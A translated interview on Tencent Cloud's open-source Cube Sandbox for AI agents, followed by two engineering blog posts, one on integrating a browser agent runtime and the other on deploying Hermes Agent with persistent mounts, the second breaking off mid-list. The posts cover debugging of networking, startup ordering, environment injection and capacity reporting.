behind the hype lies a risk more immediate than model hallucination. Summer Yue, alignment lead at Meta's Superintelligence Lab, publicly shared that her "little crawfish" autonomously deleted and archived hundreds of her personal emails, completely ignoring her stop commands, and could only be terminated by manually shutting down the device. Concerns quickly extended from individual users to enterprises. Several tech companies began restricting employees from using "little crawfish" on work devices for security reasons; China's Ministry of Industry and Information Technology also publicly warned that misconfigured "little crawfish" instances could face cyber attacks and data breach risks. OpenClaw pushed Agents into the spotlight, and also brought the layer of infrastructure beneath them — long overlooked — to the forefront. People began to realize that an Agent with system permissions but unpredictable behavior, running directly on a personal computer or production environment, is essentially "running naked." It needs an independent, isolated, recoverable execution environment — which is why sandboxes have recently drawn concentrated attention from developers and cloud providers alike. Around this new layer of infrastructure, several explorations have emerged domestically and internationally. Anthropic released Claude Managed Agents in public beta, providing a complete managed Agent runtime platform; E2B packaged isolated sandboxes as a developer-callable service, becoming a de facto interface standard that many Agent projects actively support; in April 2026, Tencent Cloud officially open-sourced Cube Sandbox, positioning it as an execution environment foundation for AI Agents. (Cube Sandbox source: https://github.com/tencentcloud/CubeSandbox) Among these explorations, Cube can be seen as a special sample for observing Agent Infra evolution. The reason is that it tackles a sufficiently new Agent Infra challenge, but its foundation is a set of infrastructure that evolved from a Serverless production system. Unlike many sandbox projects that quickly appeared after the Agent boom, Cube's development dates back to around 2023, when it was solving底层 problems in Serverless scenarios. Subsequently, Cube entered code execution, data analysis, and Agent RL scenarios, and ultimately pivoted toward Agent Runtime. After open-sourcing, Cube quickly entered the overseas Agent ecosystem. In July, OpenClaw founder Peter Steinberger proactively submitted and merged a PR to integrate Cube into its provider system, alongside E2B, Modal, and other sandbox services. From Serverless to Agent sandbox, which capabilities can be directly inherited, and which must be redesigned around Agents? What are Cube's design considerations? What is the real threshold for a sandbox to go from "can run" to "large-scale production-ready"? Why did Tencent Cloud choose to fully open-source this system? Around these questions, InfoQ recently interviewed Jin Feng, head of Tencent Cloud's IaaS Frontier Technology Team and a Tencent Level-14 R\&D engineer, to understand Cube's journey from Serverless foundation to Agent sandbox, and the team's vision for next-generation Agent Infra. ## 1 "Agents Cannot Reuse Old Infra" Agent requirements for infrastructure are undergoing a fundamental shift. In the past, whether VMs, containers, or Serverless, the core problem infrastructure needed to solve was fairly clear: provide available computing resources and let applications run stably. But an Agent is not a traditional application. Driven by large models, it can autonomously plan, call external tools, access networks, and do anything a human can do. In the latest explorations, people expect Agents to autonomously execute long-horizon tasks lasting days or even weeks. Over such long lifecycles, how do you ensure the Agent's autonomous behavior remains controllable? Clearly, traditional computing resources can't solve this — a runtime environment matching Agent behavior is needed. Jin Feng believes that Agents have distinctive characteristics, and the requirements can be broadly categorized into three types by scenario. The first type is providing a fully isolated environment for Agent tool execution. This is currently the most common sandbox use case. The requirement is strong concurrent launch capability — as if calling a local function — and high resource utilization, enabling hundreds or even thousands of concurrent instances on a single server. The second type is long-running tasks carried by Agent Harnesses. An Agent Harness is essentially a stateful service. During its long runtime, it continuously produces various intermediate and persistent state artifacts. The sandbox hosting the Agent Harness needs fast state save/restore capabilities to match users' demands for quick Agent pause/resume and clone/rollback. The third type goes further: providing a unified foundation for services that Agents access. Unlike traditional services that emphasize steady-state operations, Agent-facing services may directly become part of the Agent training and inference loop, demanding higher requirements for rapid start/stop, branch exploration, and rollback. Additionally, how to make traditional services Agent-friendly with zero code changes is also a problem Infra needs to solve. Faced with these new demand-level changes, continuing to use traditional infrastructure is clearly insufficient. "Agents do need a better, more advanced Infra, rather than continuing to reuse old-style Infra." Jin Feng believes that from the perspective of providing computing resources, VMs, containers, and Serverless can all run Agents, but they each only solve part of the problem. For example, traditional VMs provide strong security isolation, but startup may take several seconds. When you add control plane scheduling, resource allocation, and network preparation, the end-to-end time from API request to a truly usable instance can be 5-10 seconds. In contrast, CubeSandbox's cold start is under 60ms, making it more suitable for high-frequency tool calls and bursty elastic scaling. Docker containers start fast and have high resource utilization, making them a transitional choice for many Agent applications today. But their hard limitation is shared host kernel, making security isolation inherently weak. As Agent permissions expand and tasks become more critical, container security isolation issues will become increasingly prominent. Serverless functions are closer to Agent needs in terms of rapid elasticity and pay-per-use billing, and are suitable for short, stateless tool tasks. But they are typically designed around event-driven, stateless services, using horizontal autoscaling for resource elasticity and scaling to zero when idle — making them a poor match for Agent's stateful execution model. Sandboxes are drawing attention because they try to fill the gap between these traditional solutions: providing isolation boundaries approaching VMs, with startup speed and resource density approaching containers, while redesigning execution around Agent state saving, pause/resume, cloning, and rollback. The real challenge isn't just making a sandbox — it's making it production infrastructure that truly enters enterprise environments. "Enterprises may prioritize stability over performance." Jin Feng says Agent development is moving so fast that the underlying infrastructure hasn't formed mature best practices, and many teams are still using containers as a transitional solution. For stateful services like Agents, beyond whether the instance itself can run stably, whether task state, files, and execution environment can be fully recovered after failure is equally critical. Additionally, enterprises evaluate whether a project can be maintained long-term and whether it provides sufficient autonomy and control after deployment. This is why Cube's evolution always targets production-grade large-scale availability: not just making the sandbox run, but proving it can run stably and at scale in production. ## 2 From Serverless to Agent Sandbox: How Does Cube Cross the Production Threshold? ### Cube Had Been Running for Two-Plus Years Before Agents Went Viral As mentioned earlier, Cube's foundation is a set of infrastructure that evolved from a Serverless production system, starting around 2023. At that time, the team was primarily working on Serverless scenarios. The ideal Serverless model is: when a function is called, the compute environment appears quickly; when the task ends, resources are released immediately. But at the time, many Serverless products only offered Lambda-like interfaces while relying on traditional technology underneath. Tencent Cloud wanted to build a set of infrastructure that strictly matched this model — which is how Cube was born. Cube's original design goal was to build a system natively suited for fine-grained resources, extreme cold-start speed, and massive concurrency: when not called, it consumes almost no resources; when needed, it creates an environment in under a hundred milliseconds; after execution, it's quickly destroyed. This starting point unexpectedly became the technical foreshadowing for Cube's entry into the Agent era. In terms of technical architecture, Cube uses RustVMM+KVM. "We wanted to build lightweight infrastructure. At the time, building lightweight VMs based on RustVMM was a technology route that drew considerable industry attention. However, our choice differed from the common industry approach. Many projects chose Firecracker, but we chose Cloud Hypervisor." Jin Feng says Tencent Cloud faces more complex internal scenarios with many hardware-related requirements. Compared to Firecracker, Cloud Hypervisor natively supports more capabilities like device hot-plugging and hardware passthrough. The team chose to subtract from a feature-complete VMM, optimizing overall overhead to approach Firecracker's level. On top of this technical route, Cube built three core capabilities. The first is fast startup. Cube uses snapshot-based startup: pre-creating template snapshots and, upon request, directly restoring the runtime from a snapshot rather than going through a complete VM boot process, compressing resource launch time to under a hundred milliseconds. The second is high concurrency. In Serverless scenarios, resources are frequently created and destroyed, demanding higher concurrency from both single-machine and cluster control planes. Inside compute nodes, Cube has done extensive async design and composed the network, storage, and other resources needed for sandboxes. At the cluster level, Cube didn't directly reuse traditional VM or Kubernetes control plane designs, instead making the control plane horizontally scalable: each compute node independently handles sandbox creation, and adding nodes synchronously increases the cluster's overall concurrent processing capacity. The third is high density. To let a single machine host more instances, Cube introduced extensive resource sharing and copy-on-write mechanisms. Different instances can share the same read-only kernel, root filesystem, and other underlying resources; only when an instance actually writes data is independent resource allocated, reducing大量 duplicate memory and storage overhead, enabling a single node to host thousands of lightweight instances. These capabilities were originally built around Serverless characteristics, but as Agents emerged, the team found they equally matched Agent requirements for execution environments. This is the technical foundation for Cube's transition from Serverless infrastructure to Agent sandbox. "The whole process can be roughly divided into three phases." Jin Feng says the first phase centered on code execution and data analysis. Early on, products like E2B and Manus began letting Agents execute code in isolated environments or read Excel files to complete data analysis and report generation. Cube initially targeted these two relatively clear scenarios and gradually entered products like Tencent Yuanbao. The second phase centered on Agent Reinforcement Learning (Agent RL). Compared to simple code execution, Agent RL simultaneously launches large numbers of training environments, demanding more from image management, fast startup, and high concurrency. Cube's architecture capabilities accumulated during the Serverless phase were further validated in this phase. Jin Feng says Cube's metrics in MiniMax scenarios significantly outperformed other solutions, gradually building industry reputation. The third phase moved from serving model training to Agent Runtime. As OpenClaw and similar products drove the rise of local terminal Agents, people realized that traditional infrastructure had become a "make-do" — Agents should have execution environments better suited to their own characteristics. "We didn't start building this system after Agents went viral." Jin Feng notes that Cube's underlying capabilities have been through two-plus years of production refinement in Serverless and Tencent internal businesses, and the main architecture is not a freshly completed prototype. This is the most fundamental difference from many newly-appeared Agent sandboxes: it first had a foundation designed for high-concurrency, short-lifecycle workloads, then gradually changed system boundaries based on Agent behavior. ### From "Running Fast" to "Managing Well": Cube Begins Adapting the Foundation for Agents Therefore, in v0.3.0, the team first added snapshot, clone, and rollback capabilities to Cube, addressing Agent's need for stateful environment replication and recovery. Snapshot can save a running sandbox's memory, runtime state, and disk as an independent snapshot — usable even after the source sandbox is destroyed. Clone can split one sandbox into N. Rollback lets a sandbox restore in-place to a previous snapshot's state, fully recovering memory state and filesystem. For Agents, this is equivalent to simultaneously gaining "clones" and "time travel" for their environments. After solving state replication and recovery, Cube's next step was handling the risks of Agent behavior itself. "Agents are driven by large models — we can't predict what they'll do. You can put them in a sandbox, but what they do inside isn't entirely knowable." Jin Feng says. So in v0.4.0, Cube focused on adding egress governance, credential hosting, and network observability and auditing. These additions were essentially about adding boundaries to Agent unpredictability without weakening Agent flexibility. By v0.5.0, Cube wanted to solve "stable, efficient, broad." The core feature was teaching sandboxes to auto-pause (AutoPause) and auto-resume (AutoResume), adding native ARM support, and moving from single-machine demos to cluster deployment, providing a more complete deployment architecture for production and lowering the barrier for enterprises to introduce Cube into real business. "We don't want to interfere with Agent flexibility, because generalization is the value of AI; but the uncontrollable parts still need boundaries." Jin Feng says. From v0.3.0's snapshot/clone/rollback, to v0.4.0's egress governance/credential hosting/network observability, to v0.5.0's auto pause/resume/ARM support/production deployment, Cube's version evolution preserved Agent autonomy and generalization while constraining its uncertainty within controllable bounds. But for enterprises, this isn't enough. Whether new infrastructure can truly enter production depends on whether it can be deployed, operated, and integrated with existing systems. ### Truly Embedded in Enterprise Infrastructure Cube initially ran primarily on physical machines. While this fully leveraged KVM and lightweight virtualization performance, it also raised the barrier for external users. Especially in cloud environments, requiring enterprises to provision dedicated physical machines adds cost and operational complexity. So shortly after open-sourcing, the team gradually added the ability to run Cube on cloud VMs. The latest v0.6.0 adds Kubernetes support, continuing the trend of lowering deployment barriers. "Kubernetes is the de facto standard for many enterprises' infrastructure; many companies' machine resources are already managed by Kubernetes." Jin Feng says the team using Agents and the team managing clusters are often different people. If deploying Cube requires carving out machines from an existing Kubernetes cluster and building a separate one, business teams can't easily drive adoption. Starting from v0.6.0, Cube's control plane components and compute nodes can be deployed directly to Tencent Cloud TKE, standard Kubernetes, or k3s via Helm Chart. Enterprises no longer need to maintain a separate deployment system outside their existing infrastructure — Cube components become standard workloads under Kubernetes management, reusing mature deployment, upgrade, autoscaling, and operations capabilities. In subsequent versions, Cube plans to make Kubernetes deployment more "native": moving from Helm to CRD- and Operator-based native management, with smooth upgrade capabilities. Another v0.6.0 capability drawing developer attention is the E2B-compatible Volume framework. "Volume is a capability many developers care about because Agents typically need persistent storage during execution — not all data can be destroyed with the sandbox after a task ends. An Agent may need to load multiple Skills or produce new Skills during execution; in data analysis scenarios, it may need to read external Excel files and output new ones. So sandboxes need persistent storage decoupled from their own lifecycle." Jin Feng mentions that in early versions, Cube provided a relatively interim solution: binding host directories into sandboxes. Many external users used this capability to meet persistent storage needs. With Volume, Cube further abstracted storage. Beyond Sandbox, the system added a parallel Volume abstraction representing persistent storage. The team also referenced Kubernetes CSI's design approach, using a plugin model — users can write CSI-like plugins for different storage backends while maintaining a unified interface. Kubernetes support addresses how Cube enters enterprises' existing compute and operations systems; Volume addresses how Agent files and task artifacts enter enterprises' existing storage systems; and CubeEgress, released in earlier versions, provides enterprises with comprehensive network governance. These updates together accelerate Cube's entry into enterprise infrastructure systems, representing Cube's evolution from a sandbox providing isolated execution to an Agent runtime foundation embeddable in enterprise infrastructure. ## 3 Open Source and Openness: Pushing Agent Infra Forward In April 2026, Tencent Cloud officially open-sourced Cube. Jin Feng admits that the more direct reason for open-sourcing was that Agent development had outpaced infrastructure evolution. Even today, the industry still hasn't formed a clear answer on what kind of runtime environment Agents truly need. A common view is that enterprises already have Kubernetes and containers, so there's no need to introduce a new sandbox system. After all, from the perspective of "getting programs running," existing infrastructure can indeed do the job. But many differences only become apparent after actual use. Launching an isolated environment in sub-100ms, cloning multiple execution branches at once, rolling back state after an Agent mistakenly deletes files, releasing resources when idle and seamlessly resuming — these are not problems traditional containers were originally designed to solve. "We chose to open-source Cube to let more people experience it firsthand and see what sandboxes can do that traditional solutions struggle with. Only when developers actually deploy and use it can they more intuitively understand what new requirements Agents impose on runtime environments." Jin Feng says. Data shows that after open-sourcing, Cube surpassed 4,000 GitHub Stars in just 4 days; 3 months later, Star count exceeded 10,000. Such rapid growth at least demonstrates that Agent execution environments have become a concern developers普遍 care about. Jin Feng judges that as industry attention to Agents continues to rise, Agent-related infrastructure will also receive more attention. For future version evolution, the Cube team has already made plans. Currently, Cube's snapshot, recovery, and state management capabilities are mostly built at the single-machine level. The team's next important direction is to elevate the sandbox abstraction from single-machine to cluster, enabling sandboxes to migrate and recover across nodes within a cluster. When a node fails, sandboxes running on it can quickly recover on other nodes, further improving the sandbox's own high availability. Once sandboxes migrate across nodes, the first problem to solve is storage. In single-machine environments, sandboxes can rely on local disk; at cluster level, compute and state must be decoupled, so sandboxes can re-mount original data when recovering on any node. The Volume framework introduced in v0.6.0 is the starting point for this path. Subsequently, the team needs to continue adapting distributed storage while maintaining startup speed and I/O performance across different enterprise environments. Another direction to fill is observability. Currently, Cube can already observe which external services a sandbox accesses at the network layer, performing traffic auditing and access control. But Agent behavior isn't limited to the network. It also calls system commands, modifies files, starts processes, and even executes high-risk operations. The team wants to push observability further down to the OS layer, more completely reconstructing what the Agent did inside the sandbox. When it executes sensitive operations, the system should have the opportunity to audit or even block in real time. "Today we call it Sandbox, but it has far exceeded a sandbox. It represents an Infra system." Jin Feng says. ## 4 Conclusion: When Infra Begins Redesigning for Agents When Agents were just chat-window assistants, risk was far from ordinary people. But once they gained file system, terminal, email, and production system permissions, the problem becomes concrete: where does it execute, what can it access, how to recover after mistakes, and who records and constrains its behavior? Sandboxes thus became the earliest visible part of Agent infrastructure, but certainly not the last. For the future direction of Agent Infra evolution, Jin Feng judges that at least three changes are worth watching. The first change is Agents moving from individual units to Agent Teams. Today's infrastructure tends to treat each Agent as an individual, isolating them through sandboxes; but as multiple Agents begin to divide labor and collaborate, infrastructure needs to provide shared context, task artifact exchange, and collaborative execution spaces. Relevant practices have already emerged in the community: designing Sandbox and Volume as independent abstractions, then using Volume to划分 team shared spaces and individual private spaces, letting different Agents share files and task results while maintaining isolation. In the future, if using storage as an intermediary can't meet collaboration efficiency needs, Agents may develop more direct communication requirements. The second change is that the primary users of more and more services will shift from humans to Agents. "Today's services are designed for humans — emphasizing human-visible, human-understandable interfaces, but these may be inefficient for Agents and models. Moreover, when the user shifts from human to Agent, the service itself faces more burstiness and branch-experiment challenges." This means that "providing services for Agents" won't just be building a separate entry point or website. Real change will penetrate deep into services — system interfaces, throughput, permission control, and interaction patterns may all need to adjust accordingly. The third change is that Agent risk boundaries will gradually extend beyond the sandbox. Today, discussions about Agent unpredictability typically limit risk to an isolated environment; but as Agents begin operating databases, calling enterprise services, and modifying production systems, their "tentacles" will reach more systems, and the potential failure domain will expand accordingly. "After the Agent's tentacles extend beyond the sandbox, how do we still manage it?" Jin Feng believes the future problem to solve is no longer just how to confine an Agent in a safe environment, but how to continuously observe, audit, and constrain its behavior as it executes tasks across multiple systems, while preserving Agent autonomy and generalization, keeping the entire process within human-controllable bounds. From Agent Teams collaboration, to redesigning services for Agents, to extending security boundaries across the entire production system — the sandbox is just the starting point of this infrastructure reconstruction. As Agents gradually transform from tools into primary actors in the digital world, Infra can no longer停留在 "traditional systems barely running" but must truly begin redesigning around Agent behavior. ## Related Links * Cube Sandbox source: https://github.com/tencentcloud/CubeSandbox * Documentation: https://cubesandbox.com/zh/guide/introduction.html * Cube Sandbox system design considerations: https://xie.infoq.cn/article/510579436d9f297700292cac4 --- --- url: https://cubesandbox.com/blog/posts/2026-08-13-lexmount-browser-agent.md description: >- Agent browser runtime is a 'composite workload.' It imposes four core hard requirements on AI Agent sandboxes: can outbound network reach the real internet, is the startup sequencing stable under batch creation, can per-sandbox runtime state be dynamically injected, and can real capacity be accurately perceived. The Lexmount team hit and resolved all four of these problems when integrating their browser runtime with CubeSandbox. --- # Putting the Browser Inside the Agent Sandbox: Lexmount's Hands-On Experience with CubeSandbox **Editor's note:** Agent browser runtime is a "composite workload." It imposes four core hard requirements on AI Agent sandboxes: can outbound network reach the real internet, is the startup sequencing stable under batch creation, can per-sandbox runtime state be dynamically injected, and can real capacity be accurately perceived. If any one of these fails, Agent behavior starts to drift. The Lexmount team hit and resolved all four of these problems when integrating their browser runtime with CubeSandbox. This article is their first-hand technical retrospective, and it also answers a more fundamental question: what do lightweight sandboxes sacrifice in pursuit of launch performance, and how should the business side compensate? ## 1. Background and Layering Strategy ### 1.1 Lexmount Business Background Lexmount's self-developed Agent browser runtime (Lexmount Insight Flow) has a core use case: enabling AI agents to execute web tasks at scale and reliably. This business form inherently imposes several "must-haves" on the underlying sandbox — **real internet access** (a prerequisite for browser tasks), **batch concurrent launch** (multi-user parallelism / RL batch rollout), **per-sandbox runtime state injection** (multi-tenant API keys, task context), and **accurate capacity perception** (no inflated numbers). During the selection phase, we searched the open-source community for tools that could "launch many lightweight sandboxes." After benchmarking OpenSandbox and Cube Sandbox, we found Cube had lower resource usage, so we chose the latter. Following from v0.1.0 to v0.5.1, around the four boundaries above, we hit four pitfalls: no public network access, template creation failures, environment variable loss, and phantom resource oversell. ### 1.2 Layering Strategy: Not Every Agent Needs to Go Entirely Inside the Sandbox Before diving into specifics, let's share our overall sandboxization path strategy — it determines which chain each of the four problems appears on. We split sandboxization into two paths, with the business orchestration layer doing policy routing based on risk level, resource footprint, and business form. **The first path only isolates Bash.** For low-risk, short-execution scenarios like general conversation, Q\&A, and lightweight orchestration, the Agent Loop itself stays in the business orchestration layer; only `Bash/exec` tool calls enter the sandbox. Sandboxes are disposable and stateless. The advantage of this path is lightweight — short sandbox lifecycles, frequent start/stop, no resident resources. **The second path puts the entire Agent Runtime inside the sandbox.** For high-risk, resource-heavy scenarios requiring resident or native interaction — like code development, browser automation, and long-running tasks — the Agent's resident process enters the sandbox entirely, with dedicated CPU/memory and a persistent workspace. The advantage is thorough isolation — the Agent has a complete runtime environment inside the sandbox, can start/stop anytime, and resource usage is comparable to resident microservices. Both paths share the same Cube control plane, which creates or reuses lightweight/full Sandboxes on demand and orchestrates lifecycles. There are also plans for RL batch rollout — large batches of short-lived sandboxes, which is exactly the scenario Cube-type lightweight sandboxes are best suited for. ## 2. Outbound Network: Making the Sandbox Actually "Open Web Pages" For browser runtimes, network is the first hard constraint. Every page the Agent opens, every API it calls, must go from the sandbox to the public internet. On day one with Cube v0.1.0, we hit this boundary. Cube v0.1.0 was released just before the May Day holiday, and created sandboxes couldn't reach the public internet. We reproduced this across multiple environments, ruling out our own environment issues. Although the community released a fix right after the holiday, a new pitfall appeared after upgrading — creation reported success, but templates occasionally failed to build, and even when built, sometimes still couldn't connect. We wrote many test scripts and cases, confirmed DNS and direct public IP connections both timed out, and first ruled out DNS resolution issues. We then captured packets and found that the SNAT session was established, but the connection was stuck in SYN-SENT, meaning the TCP three-way handshake didn't complete. Further checking of the host's default route and egress NIC were both correct. At this point, the IP layer and routing layer were fine, so we started suspecting below the IP layer. We had AI help review the network-agent source code and found a suspicious point: the `getGatewayMacAddr()` function takes "the first reachable neighbor on the NIC" as the gateway. In a multi-neighbor environment, this MAC might not be the default gateway's MAC — if it picks the wrong one, the SYN packet goes out the NIC but is sent to the wrong next hop at L2, never reaching the gateway, and the connection naturally times out. To verify this, we used `tcpdump` to capture packets on the egress NIC. The result was clear: the SYN was indeed sent from `enp3s0`, but the destination MAC belonged to a regular neighbor, not the default gateway. Our fix was to change the `getGatewayMacAddr()` logic: first resolve the gateway IP from the interface's default route, then look up the neighbor entry for that IP, ensuring we get the real gateway MAC, not whichever reachable neighbor happens to be first. We also added two test cases: a multi-neighbor scenario where a non-gateway MAC ranks first, and a missing-default-route scenario. This PR ([#224](https://github.com/TencentCloud/CubeSandbox/pull/224)) was merged. During the investigation, we also found a separate MAC address overwrite issue and submitted a fix for that too. **After this boundary was cleared**, the second path (entire Runtime in sandbox) truly had the prerequisite for running browser tasks. But the next boundary came quickly — not whether one sandbox can go online, but **whether many can be launched at once**. ## 3. Batch Launch: Before Launching a Hundred Sandboxes, Fix "Process Started ≠ Ready" The second business requirement for Agent browser runtimes is concurrency. One user may open several page tasks simultaneously, multiple users use the Agent at the same time, and future RL rollouts will batch-launch short-lived sandboxes. All these scenarios share a common characteristic: **a single machine will receive a dense burst of sandbox creation requests in a short time**. Dense creation naturally leads to a problem: startup sequencing races. The second pitfall we hit was here. The error message was `unknown service cubelet.services.images.v1.Images`, which looked like a Cubelet issue. Initially, we did suspect Cubelet — version mismatch? Images service unregistered? Cubelet initialization exception? But checking showed the Cubelet process and gRPC ports were up; the problem only occurred after restarts or full one-click startup, and recovered on its own after waiting or adjusting startup order. So we started suspecting dependency initialization races. Comparing the startup script, we found the root cause. The old logic started network-agent and immediately launched Cubelet, only checking network-agent with `/healthz` after Cubelet started. But Cubelet's network plugin initialization only waited 30 seconds — when network-agent was slow to start, Cubelet initialization would be incomplete, making the Images service unavailable. So "network-agent not ready" didn't mean the process wasn't running, but that the process existed while `/readyz` hadn't passed yet, and Cubelet was pulled up too early. This also explained why it looked like a Cubelet error but the root cause was an upstream dependency not being ready. `/healthz` checks process existence; `/readyz` checks that dependency service registration is complete — the two are not interchangeable. Our fix was to reverse the startup order: wait for network-agent's `/readyz` to pass before starting Cubelet and subsequent services. We also extended the script and Cubelet internal wait times to 120 seconds, and added a `NETWORK_AGENT_READY_TIMEOUT` environment variable for deployment tuning based on machine performance. This PR ([#304](https://github.com/TencentCloud/CubeSandbox/pull/304)) was merged. **On the surface, this is a deployment script issue**, but in the context of browser runtimes, it's a "can it scale" problem — if dependencies are called before they're registered during batch launch, creations fail en masse. The business-side takeaway: for all components that depend on cross-process gRPC, readiness should be determined by `/readyz`, not `/healthz` or process existence. ## 4. Dynamic State: How to Inject Multi-Tenant API Keys into Sandboxes The third requirement for browser runtimes is "per-sandbox runtime state injection on demand" — different users and tasks have different API keys, context labels, and downstream service addresses. We can't make a template for every combination. Ideally: the control plane generates a set of envs per request, passes them in at sandbox creation, and the Agent reads them after starting. But we hit an architectural boundary in Cube. Running an Agent directly in the sandbox requires passing API keys and other environment variables. But passing a set of envs through the interface had no effect. Reading the source code, we found: `CreateSandboxRequest.containers` was hardcoded to `vec![]`, so the environment variables were dropped at this step. We submitted PR ([#634](https://github.com/TencentCloud/CubeSandbox/pull/634)), attempting to fix it from CubeAPI's initialization chain, wiring `env_vars` into the container spec. But the maintainer responded that it was "incompatible with the original architecture design," and the PR was closed. We later understood the technical reason for the rejection. Cube's sandbox creation goes through snapshot restore, not re-running the entrypoint. The template's runtime process was already started and memory-snapshotted during template creation; sandbox creation restores from this snapshot rather than re-executing the entrypoint. Therefore, changes to PID-1's `Process.Env` can't affect processes that already existed at snapshot time — those processes retain the environment from the snapshot moment and won't re-read per-sandbox injected variables. The envd-backed command execution (`commands.run` / `run_code`) takes a different path: envd's `process.Start` reads and injects environment variables from an in-process defaults.EnvVars map, which is populated by envd's `/init` endpoint (handled by [#566](https://github.com/TencentCloud/CubeSandbox/pull/566)). The two paths are complementary but non-overlapping. After confirming this wasn't a底层 defect but an architectural constraint of snapshot restore, we continued using the solution we'd already developed in early practice — a two-phase "control plane proxy, in-sandbox execution" design: the control plane exposes an Init API for auth, identity field protection, target instance resolution, and failure retry; the real `/v1/init` runs inside the CubeSandbox's Adapter or Agent business process, reaching the Agent through in-memory config updates, same-process env updates, or subprocess restarts. Idempotency is jointly guaranteed by the Sandbox control plane and the in-sandbox Adapter or Agent business process. Looking back at this architectural constraint, we agree with the maintainer's judgment. The launch latency reduction from snapshot restore is real — hot start P95 is sub-second, which is precisely the prerequisite for browser runtimes to "batch concurrently." And env injection itself is a business-oriented scenario; explicit injection by the business side after restore is more controllable than relying on entrypoint re-run. **This is a typical "trade lower-layer flexibility for upper-layer performance" choice** — Cube chose to be aggressive on launch performance, clearly handing the responsibility for state injection back to the business side; once the business side knows the boundary, they compensate with a two-phase design, and the chain remains clean. ## 5. Real Capacity: From "Can Launch N" to "Dare to Use N" Browser runtime is a resource-heavy workload — each sandbox contains a full Runtime plus a browser instance. The number business stakeholders care about most is: how many can actually run on one machine? Our earliest number was, in hindsight, inflated. In the early version (v0.2.x), on a 16C/32G bare-metal server, we kept creating Cubes and got a relatively large number. After upgrading, we found that creating 30+ triggered resource limit errors, a big difference from our earlier understanding. During troubleshooting, we initially suspected our own control plane and lifecycle management module had bugs. After ruling those out, we started combing through CubeSandbox's code and, with AI assistance, located the root cause: in v0.2.x's one-click deployment, CubeMaster used a script to write mock resource consumption metrics to Redis, which made CubeMaster's perception of resource consumption ineffective — it looked like there was plenty of headroom, but it was actually full. v0.3.0 fixed this issue. This pitfall was essentially paying for historically insufficient testing rigor. The capacity numbers obtained by "endlessly creating empty sandboxes" were inflated — without real traffic, sandboxes don't truly consume resources, so naturally many can be launched. After the upgrade removed the mock metrics and resource locks took real effect, the inflated numbers were exposed. We later summarized: for capacity assessment, the most direct signal is whether actual creation requests succeed. You need to cross-validate CubeMaster's real-time node health, remaining quota, and host-level `free`/`top` signals to form a systematic capacity monitoring and load-testing conclusion — any single signal can be "unreliable." The insight from this is more than "fix a reporting bug" — it conversely defines our capacity planning principle: no single signal can be the basis for capacity conclusions; capacity must be measured under real business load. For browser runtimes, this means test cases must include real page loads and real Agent requests, not just launching a batch of empty sandboxes to see how many fit. ## 6. Current Status and Future Plans We're currently in pre-production validation at v0.5.1, with plans to try v0.6.0's K8s / Volume capabilities. We'll be moving into customer privatization scenarios that strongly depend on K8s compatibility (the customer's infrastructure uses K8s), so K8s / Volume validation on v0.6.0 is our next priority. Future plans also include RL batch rollout with bulk sandbox requirements — large numbers of short-lived sandboxes created, executed, and reclaimed concurrently. This is also where Cube-type lightweight sandboxes align with our business scenario. ## Lessons Learned After working through all four directions, here are some takeaways worth documenting, which we hope will help peers evaluating or using Cube: * **For outbound network issues, suspect L2 first.** When the SNAT session is established but the connection is stuck in `syn_sent` and the host routing is correct, the problem is most likely in L2 next-hop selection — `tcpdump` to directly check whether the SYN's destination MAC is the gateway MAC is the fastest way to confirm. This experience applies to all microVM + custom network plane sandboxes, not just Cube. * **In batch scenarios, `/healthz` cannot replace `/readyz`.** At low single-machine concurrency, 30 seconds is enough; but once launch frequency increases, calling dependencies before they're registered will cause mass failures. For all cross-process dependencies, use `/readyz` for readiness determination. * **Capacity numbers can't be measured by running empty.** The early resource reporting bug combined with "no real consumption when running empty" can significantly inflate capacity numbers. Capacity assessment must be done under real business load, with multi-source cross-validation. Agent browser runtime is a composite workload that stress-tests the underlying sandbox more harshly than most scenarios. We followed from v0.1.0 to v0.5.1, reading source code root causes for every boundary, and submitted our own fixes. We hope this record is useful to other teams building Agent Runtimes. --- --- url: https://cubesandbox.com/blog/posts/2026-08-20-hermes-agent.md description: >- A resident Agent application needs the sandbox to remember not just task artifacts, but also the Agent's own configuration, conversation history, and a set of frequently invoked Skills. But sandboxes are inherently ephemeral — restarts, pauses, and migrations can zero out all of this state. This article shares the pitfalls and solutions from the Shanghai Yangpu New Energy AI team's migration of Hermes Studio onto CubeSandbox. --- # Running Hermes Agent in Cube Sandbox: Persistent Mounts, Skills Layering, and Network Recovery By｜Shanghai Yangpu New Energy Technology AI Team · Chen Jinbo **Editor's note:** For most teams, a resident Agent application needs the sandbox to remember not just task artifacts, but also the Agent's own configuration, conversation history, and a set of frequently invoked Skills. But sandboxes are inherently ephemeral — restarts, pauses, and migrations can zero out all of this state. Different engineering teams hit similar problems: mount directory paths, shared Skills maintenance, internal network model service connectivity, and more. The Shanghai Yangpu New Energy Technology AI team went through several pitfalls when migrating Hermes Studio (an internal Agent runtime platform) onto CubeSandbox, and built a complete deployment solution. The core idea is to use persistent directories on Cubelet nodes as the single storage foundation, mounting Hermes home, workspace, and public Skills into sandboxes via `metadata["host-mount"]`. The management panel handles directory initialization, public Skills deployment, sandbox creation, service startup, and status queries. This article shares the practice. ## 1. Architecture and Runtime Flow The solution builds a Hermes Studio full-runtime template based on Cube's official sandbox-code base image: keeping Cube command service (port 49983) and providing Hermes Studio Web UI (port 9000). The template includes the Hermes Agent runtime environment, Node, and hermes-web-ui, so newly created sandboxes come with usable Agent runtime capability. The management panel is a single-admin internal tool implemented with FastAPI and server-side rendering. It calls the official Cube Python SDK to manage sandboxes, supporting creation, connection, viewing, pause, resume, and stop, and displays Web UI access URLs and health check results. ![Hermes Studio deployment, persistence, and access architecture on CubeSandbox](./assets/2026-08-20-hermes-agent/01-hermes-architecture.jpg) *Figure 1: Hermes Studio deployment, persistence, and access architecture on CubeSandbox* From the admin submitting a creation request to Hermes Studio becoming externally accessible, the complete flow can be summarized in ten steps: 1. The admin creates or manages sandboxes via the locally-running Hermes Sandbox Panel. The panel is a single-admin internal tool responsible for form interaction, config loading, Cube SDK calls, and status/access URL display. 2. The creation request specifies three core elements: home-id corresponds to a persistent Hermes home; workspace-id corresponds to a persistent project workspace; Template uses the verified Hermes Studio Full Runtime template. 3. The panel first SSHes into the Cubelet node to ensure the three host-mount directories exist: `/data/shared/hermes-homes/`, `/data/shared/hermes-workspaces/`, and `/data/shared/hermes-common-skills`. 4. For a first-used home-id, the panel checks whether `config.yaml` exists in the directory. If not, it copies default configuration and runtime content from `/data/shared/hermes-homes/default`; already-initialized homes are not overwritten. 5. The panel calls the Cube SDK to create the sandbox, configuring three mount types via 